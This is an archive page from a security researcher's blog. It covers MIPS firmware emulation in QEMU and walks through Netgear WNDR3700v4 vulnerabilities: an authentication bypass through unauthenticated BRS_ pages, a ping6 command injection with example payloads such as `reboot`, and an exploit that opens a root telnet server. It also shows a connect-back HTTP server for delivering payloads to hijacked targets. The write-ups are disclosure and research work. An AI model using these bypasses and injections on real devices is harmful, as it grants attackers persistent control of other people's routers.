Monday, December 30, 2013

Emulating and Debugging Workspace

A grad student emailed me in response to my Netgear auth bypass post.  He's working on a research project and wanted to know if I knew of any resources or techniques to use emulation for executing and debugging the net-cgi binary in the Netgear firmware.  It turns out I've got all the resources to do just that.  I replied with a description of my workspace and some links to resources I use, and, in many cases, have developed.  I thought this might make an interesting blog post, but I don't really have time to write it up all blog-post-like.  Instead I'll just paste in my email.  Maybe it'll be useful to other people as well.

Hello,

I think the best approach is to describe how I set up my tool chain and environment.  Hopefully that will be helpful for you.

To start with, I do my work in an Ubuntu VM.  Specifically 12.04.  I don't think the exact release matters, but I know 12.04 works with my tools.

I keep a set of cross compilers in my path for various architectures. In my opinion, building with a cross compiler is faster and easier than building with gcc inside QEMU.  I recommend building a set of cross-compiling toolchains using Buildroot.  Buildroot uses a Linux Kernel-style menuconfig build system.  I don't have anything written up on building cross compilers, but I could probably send you my buildroot configuration if you need it, and if I can find it.

You can download the firmware for the router from Netgear's support website.
Here's a link to the firmware:
http://support.netgear.com/product/wndr3700v4
In order to unpack the firmware, I recommend my colleague, Craig Heffner's tool, Binwalk:
https://code.google.com/p/binwalk/
Binwalk will analyze a binary file and describe the subcomponents it finds within, such as filesystems, compressed kernel, etc. Additionally, it can unpack the subcomponents it finds, assuming it knows how.
Install binwalk in your Ubuntu environment using the "debian_quick_install.sh" installation script, which will apt-get install a number of dependencies.
Rather than describe binwalk's usage, I'll refer you to the wiki:
https://code.google.com/p/binwalk/wiki/Usage?tm=6
Also, in your Ubuntu environment you'll need a Debian MIPS QEMU system that you can use to emulate the firmware's binaries.

I found lots of information about running Debian in QEMU, but most of it was incomplete, and a lot of it was inconsistent, so I've written a blog post describing how I set up my QEMU systems:
http://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html
This is just personal, but I like to export my workspace to the QEMU machines via NFS.  In fact, I export my workspace from my Mac via NFS, and my Ubuntu VMs and Debian QEMU VMs all mount the same directory. That way I'm not having to copy firmware, scripts and debuggers around.

Once logged into your QEMU VM, you can chroot into the router's firmware and run some of its binaries:

firmware_rootfs # chroot . /bin/sh
#

The simple ones, such as busybox, will run with no problem.  The web server, upnp server, etc. are more complicated because they make a lot of assumptions about the router's specific hardware being present.

One of the problems you run into has to do with queries to NVRAM for runtime configuration.  Obviously, your Debian MIPS Linux has no NVRAM, so these queries will fail.  For that, I have a project called "nvram-faker":
https://github.com/zcutlip/nvram-faker
You build the library for your target and preload it using the LD_PRELOAD environment variable.  It intercepts calls to nvram_get and provides answers based on the contents an nvram.ini file that you provide. It prints all the nvram queries to stdout, and colorizes the ones that it couldn't find in the .ini file.  Obviously it takes some guesswork to provide sane configuration parameters.

Sometimes you can skip running the web server and just run the cgi binaries from a shell script.  Most cgi binaries take their input from the web server as a combination of standard input and environment variables.  They send their response to the web server over standard output.

I hope this helps.  Let me know if I can help any other way.

Zach 

Saturday, December 07, 2013

BayThreat 2013 Presentation - Additional Resources

For my presentation at BayThreat, entitled "BT Wireless Routers: Adventures in Reversing and Exploiting", rather than have one or two or three slides packed with hard to read URLs, I included a single slide with a link to this post.  Here you'll find links to additional resources that I may have referenced in my talk.

White paper: Reverse Engineering and Exploiting the BT HomeHub 3.0b (pdf)
Slides: BT Wireless Routers: Adventures in Reversing and Exploiting

BT HomeHub 3.0b specifications
Here's a walkthrough I wrote on getting Debian MIPS Linux up and running in QEMU system emulation.  I use QEMU & Debian Linux to run and analyze binaries that I find in firmware.
QEMU/Debian MIPS Linux walkthrough

Often binaries found in firmware won't play nicely in emulation because they make a lot of assumptions about the underlying hardware which QEMU can't satisfy.  The most common case of this is an application querying NVRAM for configuration parameters.  Here's a library I wrote to intercept those queries and provide answers from an INI-style configuration file.
NVRAM "faker" library for use in emulation

Bowcaster is an exploit development API that I wrote to ease development of buffer overflow exploits.  It grew out of all the tools and techniques Craig Heffner and I developed for exploiting embedded devices.  It primarily targets MIPS Linux, since there support for that architecture was almost non-existent.  I plan to add support for other architectures as I have time.
Bowcaster

Here's my Github repository for proof-of-concept exploit code.  In it, you'll find the exploit code for the BT HomeHub 3.0b that I demoed at BayThreat, among a few others.
Proof-of-Concept exploit code

In the presentation I mentioned how exploiting buffer overflows on MIPS Linux is a bit different that other, more familiar architectures.  I wasn't able to go into details; that could make an entire presentation in itself.  However, I mentioned my Black Hat USA 2012 presentation, where I did describe some of the mechanics of exploiting MIPS Linux buffer overflows.  Here's the video of that presentation, entitled "From SQL Injection to MIPS Overflows: Rooting SOHO Routers".


SQL Injection to MIPS Overflows - Zachary Cutlip - Black Hat USA 2012 from Zach on Vimeo.

I hope these resources are useful.  If you came to this article because you saw my BayThreat talk and demo, I hope you enjoyed it!  Be sure to get in touch and share your thoughts!  Twitter or my email are best.

Twitter: @zcutlip
Email: uid000 at gmail

Cheers!
Zach

Thursday, October 24, 2013

Netgear Root Compromise via Command Injection

At the end of my post on the Netgear wndr3700v4's authentication bugs, I said to expect followup posts. Once the web interface is unlocked, any further bugs that normally require authentication become fair game. Well good news, everyone!!

Previously, I talked about the net-cgi executable in the wndr3700's firmware. ;net-cgi is a multi-call binary, a little like busybox. As such it has a lot of functionality baked in. One of its more interesting functions is called cmd_ping6(). Here's what it looks like:



This is a function that will ping whatever hostname or IPv6 address is passed in as the char *host argument. What you see here is such an unbelievably common pattern, that the first thing you should do with a router's firmware is check to see if there's a ping diagnostic page, and verify how ping gets executed.

What is happening here, as it so often does, is the host string gets copied into a shell command on the stack using sprintf(). This is probably the most straightforward buffer overflow vulnerability you will ever see. Sadly, you shouldn't exploit it. It is a tempting one to exploit because it is so clean and simple and because popping root with a MIPS ROP payload is sexy. But that would be silly, because right after it there is a call to system(). The system() function passes whatever string it is given to an invocation of /bin/sh. This is a command injection vulnerability in its purest form and is trivially exploitable. If the address string that gets passed in is something like "; evil_command; #", the ping6 command will be terminated prematurely, and evil_command will be executed right after it.

But what if the target isn't configured to use IPv6? Who cares? The ping6 command doesn't actually need to succeed. As long as the injected command string gets passed to system(), that's all that matters.

So how does this function get invoked?

Working backwards, cmd_ping6() gets called by cgi_commit().



The cgi_commit() function gets called by sub_4052d0(), which is the output function for the apply.cgi mime handler (I explained previously how the mime handler table works).



How does cgi_commit() know to call cmd_ping6()? That happens when when apply.cgi is requested as a post, and the post data contains "submit_flag=ping6".

sub_43a60() cgi handler gets called when submit_flag is "ping6".

There is a page that sends a post request to apply.cgi with the ping6 submit flag. That page is "ping6_traceroute6_hidden_info.htm".



This page would normally be protected behind password authentication. With the authentication bypass I wrote about previously, this page becomes accessible to anyone. As you can see, this is a form that allows you to ping an IP address or hostname. Rather than submit an IP address, you can send a shell command, such as `reboot`.

Send a shell command instead of an IP address.


Form is submitted with "ping6_text=`reboot`"

This is an easy test because the effect is immediate and easily observed, and you have very little shell syntax to troubleshoot.

This page is not exposed to the user via any reference in the web interface, and it even has "hidden" in the name. Hidden as it may be, it can't hide from Python. I've written up some proof-of-concept exploit code that will access this page and start up a telnet server, allowing you to log in unauthenticated as root.

"Hidden" pages can't hide from Python! Authentication is disabled, then command injection exploited gain root.

The exploit code does the following:
  1. Fingerprint the device to ensure it's vulnerable.
  2. Disable authentication.
  3. Inject a command to open a hole in iptables, and start a telnet server listening on the internet on port 2323[1].
  4. Re-enable authentication, restoring the device to its original state.
You can download the proof-of-concept exploit code[2] from my GitHub repo. You'll need Bowcaster installed.

[1] Netgear routers usually already have a telnet server listening on the LAN on port 23 that accepts a hardcoded backdoor password.
[2] Don't attempt to test this against devices you don't own. That's illegal in most jurisdictions.

Tuesday, October 22, 2013

Complete, Persistent Compromise of Netgear Wireless Routers

UPDATE: Turns out, Jacob Holocomb (@rootHak42 on Twitter) of Independent Security Evaluators found this bug back in April on a different device, the WNDR4700. Thanks for letting me know, Jacob. Nice find. Here's a link to that report.

UPDATE 2: Because there are almost certainly fools who would go hack somebody's router and say I told them to do it, I added a warning to not do this. DON'T DO IT.

UPDATE 3: I have to confess I tested this on an older firmware, 1.0.1.32, and neglected to test on the latest, 1.0.1.42. I did some cursory static analysis on .42, and satisfied myself that the vulnerabilities discussed still existed. Since Netgear has patched this on other devices, I became concerned that I should have tested more thoroughly, so I did that this morning. I can now say, with confidence, that these vulnerabilities apply equally to the latest wndr3700v4 firmware, 1.0.1.42.

UPDATE 4: I want to give Craig Young of Tripwire VERT credit for finding all these bugs and more. I found the ones below in June, and I believe Craig found them before me. Craig also is responsible for the Netgear ReadyNAS finding which has gotten a lot of coverage lately.

One of my favorite embedded vendors' products to find bugs in is Netgear. Naturally, I was excited to take a look at the firmware for version 4 of Netgear's venerable WNDR3700 wireless router (I talked about version 3 at Black Hat in 2012). Of course, I updated my DLNA SQL injection + buffer overflow exploit code for the new version, but I found something else that's even better.

Don't have time for a bunch of IDA Pro nonsense?  Don't worry; just skip to the TL;DR.

Still here?  Excellent. Let's find out how deep the rabbit hole goes.

An All-purpose CGI Request Handler


On the WNDR3700v4, as with many embedded web servers, a single binary executable, /usr/sbin/net-cgi, gets executed by the web server to handle most, if not all, HTTP requests.


$ file usr/sbin/net-cgi
usr/sbin/net-cgi: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

It's important to understand how net-cgi performs authentication. It's a little messy, but don't panic. I brought pictures.

In the executable's data section, there's a table of mime handler structures that describe, among other things, names or partial names of paths that can be requested via HTTP.

A C declaration for the mime handler structure might look approximately like:

struct mime_handler {
        char *pattern;
        char *mime_type;
        char *extra_header;
        void (*input)(char *path, FILE *stream, int len, char *boundary);
        void (*output)(char *path, FILE *stream);
        void (*auth)(char *userid, char *passwd, char *realm);
};

The main function for handling requests is handle_http_request(). Its function signature looks like:


handle_http_request(char *script_file, //requested object or cgi script
                      char *query_string,
                     char *request_method,
                     FILE * stdout,
                     FILE *stdin);


In http_handle_request(), there is logic to loop over each of the mime handlers to check if the requested object matches the handler's pattern string. It actually just does a strstr() to see if the pattern is a substring of the requested object.



If there's a match, then it checks to see if there's an authentication handler. If there is none for that mime handler, then no authentication is performed. Execution skips down the the block I call "pass go, collect $200."



When we look at the mime handler table, we see an entry for the pattern "BRS_". This entry's auth function pointer is NULL, meaning requested objects matching this pattern don't require authentication.


This is interesting because there are several BRS_ files available for the web server to serve up:


root/www (0) $ ls -1 BRS_*
BRS_01_checkNet.html*
BRS_01_checkNet_ping.html
BRS_02_genieHelp.html*
BRS_03A_A_noWan_check_net.html*
BRS_03A_A_noWan.html*
BRS_03A_B_pppoe.html*
BRS_03A_B_pppoe_reenter.html*
BRS_03A_C_pptp.html*
BRS_03A_C_pptp_reenter.html*
BRS_03A_D_bigpond.html*
BRS_03A_detcInetType.html*
BRS_03A_E_IP_problem.html*
BRS_03A_E_IP_problem_staticIP_A_inputIP.html*
BRS_03A_E_IP_problem_staticIP_B_macClone.html*
BRS_03A_E_IP_problem_staticIP_B_macClone_plzWait.html*
BRS_03A_E_IP_problem_staticIP.html*
BRS_03A_F_l2tp.html*
BRS_03A_F_l2tp_reenter.html*
BRS_03B_haveBackupFile_change_domain.htm
BRS_03B_haveBackupFile_fileRestore.html*
BRS_03B_haveBackupFile.html*
BRS_03B_haveBackupFile_ping.html
BRS_03B_haveBackupFile_wait_ping.html*
BRS_03B_haveBackupFile_waitReboot.html*
BRS_04_applySettings.html*
BRS_04_applySettings_ping.html*
BRS_04_applySettings_wget.html*
BRS_04_applySettings_wgetResult.html*
BRS_04_B_checkNet.html*
BRS_04_B_checkNet_ping.html
BRS_05_networkIssue.html*
BRS_check_manulConfig.html
BRS_index.htm*
BRS_netgear_success.html
BRS_ping.html*
BRS_ping_result.html
BRS_plzWait.html*
BRS_retry.htm
BRS_success.html*
BRS_top.html*
BRS_wanlan_conflict.html*

All of these files may be accessed without a password. Almost certainly there is something juicy in there, such as some diagnostic information, or maybe a page that will show you the WPA passphrases for the 2.4 GHz and 5GHz networks.

BRS_success.html. No authentication needed.

Excellent. Free wifi passwords!  Still though, full administrative pwnage would be cool. Good news....


Are You Really Sure We Need to Check Authentication?


When we look at how authentication is checked, there are a bunch of execution paths to the "pass go, collect $200" block. Lets take a look.

Lots of requested paths that result in authentication being skipped.

Above, you can see the first two strings, "unauth.cgi" and "securityquestions.cgi" are checked against the query string, not the requested file. If either of these strings are substrings of the query string, execution bypasses authentication. Since this substring check is against the entire query string, you can request something like http://router_address/protected_page.htm?foo=unauth.cgi. The "unauth.cgi" will match the substring check and execution will skip authentication.

I actually discovered this authentication bypass while double checking my research for the next vulnerability. It is the next one that is a much more powerful bypass and even more trivial to exploit. Plus, it's persistent.


So, Do We Really Super Double For Sure Need to Check Authentication?



After an authentication handler is located, but before the query string is checked for special unauthenticated strings, there is yet another interesting check. Let's have a look[1].

If hijack_process != "3", collect $200.

Above, we see a query of the NVRAM configuration for the hijack_process setting. If that setting is "3", then the authentication execution path is followed as normal. If it is something other than "3", execution skips down to "pass go, collect $200," authentication is bypassed. The purpose of this configuration setting is so that when first plugged in, the router will redirect all web requests to its own web-based administrative interface. In order to prevent users from having to know a default password, authentication is disabled until after the router is configured. The hijack_process setting is one among several that, together, determine whether the router is in an unconfigured state.

Where this gets interesting, however, is an unauthenticated page that will set the hijack_process setting to a value other than "3".

Grepping through the firmware's html files for "hijack_process" yields an interesting find.


$ grep -rn 'cfg_set("hijack_process"' *
BRS_02_genieHelp.html:12:<% cfg_set("hijack_process", "1") %>


The BRS_02_genieHelp.html file contains a command to set hijack_process to "1". The web interface uses a custom HTML templating language. Any text between '<%' and '%>'  is preprocessed by the web server and the entire directive replaced by the output of that processing. In the case above, the request handler processes the "cfg_set" directive to set the hijack_process configuration setting. As we discovered earlier, any web page beginning with "BRS_" does not require authentication. An unauthenticated request to BRS_02_genieHelp.html will have the effect of disabling authentication for the rest of the web interface.  Since the hijack_process setting is only one of several that mark the router as being unconfigured, this one setting alone has no noticeable effect for the user. No web requests are actually hijacked. Further, this setting is stored in NVRAM, which means it is persistent across reboots.

TL;DR


You skipped straight to the good stuff didn't you?  That's cool. Here's the deal. If you browse to http://<router address>/BRS_02_genieHelp.html, you are allowed to bypass authentication for all pages in the entire administrative interface. But not only that, authentication remains disabled across reboots. And, of course if remote administration is turned on, this works from the frickin' Internet.

Don't believe me?  Give it at try. Surf to your WNDR3700v4's web interface and request BRS_02_genieHelp.html. Don't have one of your own? No problem. Shodan's got you covered. (Just to be clear, don't go to Shodan and hack a router you don't own, okay? That's stupid, and it's not legal in most jurisdictions.)


With complete, persistent administrative access to the web interface, a huge attack surface is opened up. A malicious DNS server could be configured, exposing users to web browser exploits. Ports could be forwarded to devices on the LAN, exposing vulnerable services to attack. Or, a trojan horse firmware could be flashed onto the device that would give the attacker persistent root-level access to the router. Additionally, any command injection or buffer overflow vulnerabilities in the router's web interface become fair game once authentication is disabled.

In the next few posts, I will describe additional vulnerabilities that can be exploited once authentication is disabled on this device.

---------
[1] This is the the technical analysis of how this bug works. It's not how I found it. If you buy me a beer at a conference, I'll tell you how I actually found this vulnerability.

Wednesday, October 09, 2013

A Connect-back HTTP Exploit Server for Bowcaster

I've just added a module to Bowcaster that I think is cool. Actually, I just got around to finishing a module that was there all along. It's a basic HTTP server module, but it has some unique features that make it suitable for serving payloads to remotely exploited targets.

The connect-back server modules in Bowcaster are designed to run asynchronously so that they can be used right in line with your exploit code. Basically the model is this:
  1. Instantiate connect-back server.
  2. Call server.serve(), which returns immediately.
  3. Do other stuff, e.g., throw exploit.
  4. Call server.wait()
  5. That's it. There is no step 5.
The HTTPConnectbackServer module fits this model as well. You provide it a list of payloads to serve, and it forks into the background and serves them each exactly one time. Once all the files have been served, the server terminates.

The use case that I envisioned is a situation where you're exploiting one or more targets via command injection. Your exploit would execute the wget command on the system to fetch a payload, and then a subsequent command injection would execute the downloaded payload.

Perhaps you're even exploiting multiple targets where each target gets its own customized version of the payload. Provide a list of custom payload files and when each target has phoned home to get its payload, the server shuts down.

Using it is pretty straightforward. Here's an example:


from bowcaster.servers.http_server import HTTPConnectbackServer

files_to_serve=["payload_192.168.0.1",
                "payload_192.168.0.2",
                "payload_192.168.0.3"]



try:
    httpd=HTTPConnectbackServer("192.168.0.10",
                                 files_to_serve=files_to_serve,
                                 docroot="/www/payloads")
    httpd.serve()
except:
    #Uh oh. Couldn't start the server. 
    #Do all the payload files exist?
    sys.exit(1)

try:
    throw_exploit_1()
    throw_exploit_2()
    throw_exploit_3()
    httpd.wait()
except Exception as e:
    #something went wrong
    httpd.shutdown()

Anyway, stay tuned, because I have some other neat Bowcaster stuff in the pipeline as well.

Thursday, September 12, 2013

44CON Presentation - Additional Resources

Update December 2014: 44CON has posted the videos from all 2013 talks online. Unfortunately, they don't allow the videos to be embedded, so here's a link.

For my presentation at 44CON, entitled "Reversing and Exploiting BT CPE Devices", rather than have one or two or three slides packed with hard to read URLs, I included a single slide with a link to this post.  Here you'll find links to additional resources that I may have referenced in my talk.

White paper: Reverse Engineering and Exploiting the BT HomeHub 3.0b (pdf)

BT HomeHub 3.0b specifications
Here's a walkthrough I wrote on getting Debian MIPS Linux up and running in QEMU system emulation.  I use QEMU & Debian Linux to run and analyze binaries that I find in firmware.
QEMU/Debian MIPS Linux walkthrough

Often binaries found in firmware won't play nicely in emulation because they make a lot of assumptions about the underlying hardware which QEMU can't satisfy.  The most common case of this is an application querying NVRAM for configuration parameters.  Here's a library I wrote to intercept those queries and provide answers from an INI-style configuration file.
NVRAM "faker" library for use in emulation

Bowcaster is an exploit development API that I wrote to ease development of buffer overflow exploits.  It grew out of all the tools and techniques Craig Heffner and I developed for exploiting embedded devices.  It primarily targets MIPS Linux, since there support for that architecture was almost non-existent.  I plan to add support for other architectures as I have time.
Bowcaster

Here's my Github repository for proof-of-concept exploit code.  In it, you'll find the exploit code for the BT HomeHub 3.0b that I demoed at 44CON, among a few others.
Proof-of-Concept exploit code

I hope these resources are useful.  If you came to this article because you saw my 44CON talk and demo, I hope you enjoyed it!  Be sure to get in touch and share your thoughts!  Twitter or my email are best.

Twitter: @zcutlip
Email: uid000 at gmail

Cheers!
Zach

Monday, September 09, 2013

Insulting Recruiter Emails

Note: I have a great job at a company called Tactical Network Solutions, based in Columbia, MD.  I'm not looking for a new job.  That's not why I'm writing this post.  I have way too much fun working with crazy smart people right where I am.

I get a lot of recruiter email.  Some are very thoughtful and are for companies that would be very cool to work for.  I love those, and I want to high five those people for being such class acts.  I try to always send them a thoughtful response thanking them for thinking of me, but letting them know I'm fine where I am.

On the other hand, well, let's just say there are lots of big defense contractors looking for people to fill seats on their contracts.  Many of these messages are insulting in ways that are difficult to summarize, so I decided to blog a few in order to better describe them.

Here's one I received last week, with names sanitized out.  I've annotated it with footnotes for easier discussion

From: Brian A.
Sent: Friday, August 30, 2013 
Subject: Reverse Engineer / Vulnerability Researcher with XXXX 

Mr. Cutlip,

My name is Brian A. and I am an internal technical recruiter with XXXX Corporation[1].  We are one of the U.S. government's leading...[redacted].

We[2] have reviewed your resume and the experience outlined closely aligns with the caliber of talent that we are currently searching for to fill a critical role in support of our technical division.

If there is any interest in exploring this opportunity further, please fill out the attached skills matrix[3] and return it back to me no later than next Monday (2 Sep)[4] by COB.

I understand the tight deadline and apologize for it.  Your responsiveness will obviously reflect your level of interest[5].

The next step will likely be a technically-focused phone conversation next week.

If you have any questions please let me know. 

I hope to connect with you soon.

Respectfully, 

Brian A.

Sr. Technical Recruiter, Cyber[6]

First, this message, like many others, is really phoned in.  The recruiter makes no attempt to actually recruit by convincing me that his company would be a great one to work for where I would learn, have fun, work with smart people, change the world, and be part of a great culture.

Second, the tone of this message is corporate-ey recruiter-speak.  The types of messages that get my interest and entice me to respond are ones that are written the way I talk.  I'm a hacker.  I wear t-shirts and jeans.  I listen to trance and dubstep while I program.  I say "fuck" a lot, and so does our CEO.  Please talk to me like you get that and I'm the kind of person you're looking for.

But maybe they're not looking for someone who wears jeans and t-shirts and communicates thoughts built on scaffolds of profanity.  That's fine.  So lets talk about some specifics in the above message.

[1] I find this part funny because a company I used to work for was a subcontractor to XXXX Corporation.  I know firsthand that I'm not interested working there.  Also, they're known to try to poach people from their subcontractor partners, which I find hilarious.

[2] "We have reviewed your resume"?  Who is "we"?  This is oddly impersonal.  And where did you find said resume, because I certainly didn't send it to XXXX Corporation.

[3] Skills matrix? Are you fu...what the...omg.   Shoot me now.  Because I'd rather have a bullet to the head than have my professional essence distilled down into a chart full Xs and checkmarks.

[4] Seriously?  This was sent on Friday afternoon, and I was to send the completed "skills matrix" by Monday, which is Labor Day, when everyone in America is partying and drunk and no one is at work.  This message is obviously not targeted at people who already have a great job and are desirable and sought-after. It's aimed at people who are either out of work or whose job is so terrible they would have jumped ship already if only there were somewhere to jump.

[5] Well, good.  Since my level of interest is low this means I needn't respond.

[6] A Senior technical recruiter of "Cyber"? for Cyber? with Cyber?  People! "Cyber" is not a thing.  At best, it is a prefix and not a freestanding word.  Like cybernetics, or cyberspace.  If you're using "cyber-" in any way that isn't facetious I don't want to talk to you.  And really, you're best just leaving "cyber-" to William Gibson, whose book, Neuromancer, is probably the last known acceptable use of the prefix in popular culture.

Anyway, I didn't respond, because, as I mentioned, my interest was low.  But stay tuned for part deux, because a week after the deadline, I received a followup message from Brian.

Friday, May 31, 2013

Running Debian MIPS Linux in QEMU

Sometimes I need a MIPS Linux system that I can use for development and testing.  Maybe I need to test some shellcode or debug a binary I'm analyzing.  What I wish existed was a Raspberry Pi-like MIPS device.  I'd love to have a bunch of small, sub-$50 devices that I could network together as a sort of desktop exploit lab.  Unfortunately I don't know of such a device.  There is MIPS hardware you can get and install Linux on.  I have a Cobalt RAQ, and a lot of people like to get a hackable WiFi router and image it with OpenWRT.  But there's nothing as small, cheap and convenient as the RPi that is MIPS.

What some of us at Tactical Network Solutions use instead is the QEMU emulator running Debian MIPS Linux.  It works really well for most things, and isn't too bad to get set up.  You can apt-get install whatever utilities you want, including gcc, gdb, and other things.  This is a tutorial on getting Debian MIPS up and running in QEMU hosted on Ubuntu Linux.

Here are some details of my setup:

  • Ubuntu Linux 13.04 64-bit
  • Running in VMWare Fusion on OS X 10.8
  • Ubuntu's networked via VMWare's NAT interface
  • I export my workspace from my Mac to VMs via NFS

If your setup is different, hopefully this tutorial will still get you going.  I think as long as you're using Ubuntu underneath QEMU, you should be good.

Download, Patch, and Build QEMU


First we download and build QEMU from source.  There are a number of advantages for building from source vs. installing from Ubuntu's repositories.  Ubuntu's prebuilt QEMU is pretty dated.  Plus, we can ensure we get statically built QEMU binaries which are useful if you want to chroot into a firmware's filesystem and emulate a binary (I won't cover that in this tutorial).  There also is a bug in QEMU that we can easily patch before building.

Download the latest QEMU source tarball from http://wiki.qemu.org/Download.  I downloaded version 1.5.0.  I don't recommend checking out from the git repository since the development tree is likely to be unstable.

In order to build QEMU you need to install several dependencies:


# apt-get install autoconf automake libtool \
   zlib1g-dev libglib2.0-dev

Unpack the QEMU tarball and edit its Makefile.  We need to change the build for libpixman to ensure 'aclocal' gets run before libpixman is built (this wasn't neccesary for 1.4.0, but it is for 1.4.2 and 1.5.0.).  This step is necessary on Ubuntu but I'm not sure about other systems.

Look for the following part of QEMU's top-level Makefile:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Change it to look like this:


pixman/Makefile: $(SRC_PATH)/pixman/configure
        (cd pixman; aclocal; CFLAGS="$(CFLAGS) -fPIC $(extra_cflags) $(extra_ldflags)" $(SRC_PATH)/pixman/configure $(AUTOCONF_HOST) --disable-gtk --disable-shared --enable-static)

Notice the addition of 'aclocal' after cd'ing into pixman/.  I wish I could explain what this fixes, but autoconf is voodoo, so that's not possible.  Anyway, I couldn't get QEMU to build without hacking the Makefile.

While we're hacking things up, let's edit the source file linux-user/elfload.c.  There's a bug in QEMU where the user-mode emulators will choke on binaries that have their section headers stripped.  Many firmware binaries do this to save space.  Since section headers don't get used by the elf loader, there's no need for QEMU to check them.  Thanks to Craig Heffner for this tip.  Find the following function and comment out the line shown:


static bool elf_check_ehdr(struct elfhdr *ehdr)
{
    return (elf_check_arch(ehdr->e_machine)
            && ehdr->e_ehsize == sizeof(struct elfhdr)
            && ehdr->e_phentsize == sizeof(struct elf_phdr)
            //&& ehdr->e_shentsize == sizeof(struct elf_shdr)
            && (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}

With these two modifications in place, we can now build QEMU:

$ configure --static
$ make
# make install #as root


Download Debian QEMU Images


This is going to take a while.  Drink a few beers while it builds.  If you're building on a multiprocessor machine, you may need to drink a couple beers at once.  When it's all done, you'll have system and user-mode emulators for a ton of architectures including MIPS.

While the above is compiling and you're drinking your beers, you can also be downloading your Debian QEMU images.  You can get them from http://people.debian.org/~aurel32/qemu/.  The 'mips' directory is big endian MIPS and the 'mipsel' directory is little endian.  I downloaded both, and this tutorial assumes that's what you're doing as well.

The 2.6.32 kernel goes with the Debian Squeeze qcow image.  There's also an older kernel and a Debian Lenny image if you want that.  Sadly 2.6.32 and Squeeze are the newest Aurélien has up.

I put my images in ~/debian-qemu/be and ~/debian-qemu/le.   Put them where you like, but be sure to adjust the scripts I provide accordingly.


Set up Bridged Networking


In order to have your QEMU systems bridged to Ubuntu's network, you'll need to do some additional setup.  There are some utilities you need to install:


# apt-get install uml-utilities bridge-utils

You need to add a group that will own the tap that will be used to bridge each QEMU system to Ubuntu's network.  Then add your user to that group.

# groupadd -r tuntap
# usermod -a -G tuntap zach

Log out and back in for group membership to take effect.

Here's what my /etc/network/interfaces file looks like:

# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

#auto br0
iface br0 inet dhcp
 pre-up tunctl -t tap0 -g tuntap
 pre-up tunctl -t tap1 -g tuntap
 pre-up ip link set tap0 up
 pre-up ip link set tap1 up
 bridge_ports eth0 tap0 tap1
 bridge_stp off
 bridge_maxwait 0
 bridge_fd 0
 post-down ip link set tap0 down
 post-down ip link set tap1 down
 post-down tunctl -d tap0
 post-down tunctl -d tap1

iface eth1 inet dhcp

Here's the script for starting network bridge.  It gets called by the next script.

#!/bin/sh

sudo ifdown eth0
sudo ifup br0


Here's the script for starting QEMU systems:

#!/bin/sh

quit()
{
 ret=0
 if [ $# -gt 0 ];
 then
  ret=$1
  shift
 fi
 if [ $# -gt 0 ];
 then
  printf "$1\n"
  shift
 fi
 exit $ret
}

image=""
kernel=""
if [ "x$1" = "xle" ];
then
 qemu=qemu-system-mipsel
 image="$HOME/debian-qemu/le/debian_squeeze_mipsel_standard.qcow2"
 kernel="$HOME/debian-qemu/le/vmlinux-2.6.32-5-4kc-malta"
 iface=tap1
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
elif [ "x$1" = "xbe" ];
then
 qemu=qemu-system-mips
 image="$HOME/debian-qemu/be/debian_squeeze_mips_standard.qcow2"
 kernel="$HOME/debian-qemu/be/vmlinux-2.6.32-5-4kc-malta"
 iface=tap0
 # reset /etc/udev/rules.d/70-persistent-net.rules in qemu guest if you change mac addrs
 macaddr="52:54:00:12:34:XX"
else
 quit 1 "Specify le or be endianness."
fi

echo "Stopping eth0, starting br0."

bridge.sh || quit 1 "Failed to start br0."

echo "Starting Debian system QEMU session."


$qemu -net nic,macaddr=$macaddr  -net tap,ifname=$iface,script=no,downscript=no -nographic -M malta -kernel $kernel -hda $image -append "root=/dev/sda1 console=tty0"


Booting and Configuring the QEMU Systems


Be sure to edit the MAC addresses in the script above.  They need to be different from one another if you want to run both the little endian and big endian systems at once.

If everything went right, you should be able to start up your QEMU systems:

$ debqemu.sh le

The 'le' argument starts the little endian system and the 'be' argument starts the big endian system.  Be sure to repeat the following customization for both systems.

Once the QEMU system has booted up, you should get a login prompt.  Log in as root with password 'root'.

Since your MAC addresses have changed, edit /etc/udev/rules.d/70-persistent-net.rules and remove entries for any ethernet devices.  Reboot now so they will be regenerated.  This will ensure networking is working properly, in case it isn't currently.

QEMU's console is very limiting, so you'll want to SSH in to do most of your work. You can install OpenSSH in your Debian system using apt:

# apt-get update
# apt-get install openssh-server

From a separate terminal, you should be able to SSH into the QEMU system as root.  You may want to use ssh-copy-id to copy your SSH key in.

At this point I like to set up NFS so I can mount my workspace inside the QEMU system.  That's pretty straightforward so I won't cover it here.

To shutdown your system you can  issue 'halt' or 'init 0', but it doesn't actually power off.  Instead it reboots.   When the kernel's boot messages are scrolling down the console is a good time to cut the power.  Interacting with QEMU's console is similar to using screen or minicom.  You exit using ctrl+a, x, and QEMU terminates.

I hope this is helpful.  Be sure to let me know if anything doesn't make sense or if you get hung up anywhere.

Friday, May 03, 2013

Is your Mac's File System Protected?

Nothing original here, but this is a great tip, so I want to share it.  Thanks to @thegrugq for cluing me into this via Twitter.

For everyone running OS X 10.7 or 10.8 on their Macs (and really, EVERYONE should be on 10.8; the security benefits are non-trivial) and are using FileVault 2 to encrypt your filesystems (you are, right?) here's a good tip I picked up the other day:

$ sudo pmset -a destroyfvkeyonstandby 1
$ sudo pmset -a hibernatemode 25

This has the effect of destroying the memory-resident FileVault encryption key, writing the contents of memory to disk, and removing power from RAM (i.e., hibernating).  Doing this will help protect your laptop from getting raped via FireWire DMA by your hotel's cleaning staff or by the Border Patrol.

A nice article on the topic:
http://www.frameloss.org/2011/09/18/firewire-attacks-against-mac-os-lion-filevault-2-encryption/

Tips via The Grugq:
http://twitter.com/thegrugq/status/329579397319360512
http://twitter.com/thegrugq/status/329579831496941568
http://twitter.com/thegrugq/status/329580468120993792

Thursday, April 25, 2013

Bowcaster's EmptyOverflowBuffer class (Tutorial Part 5)

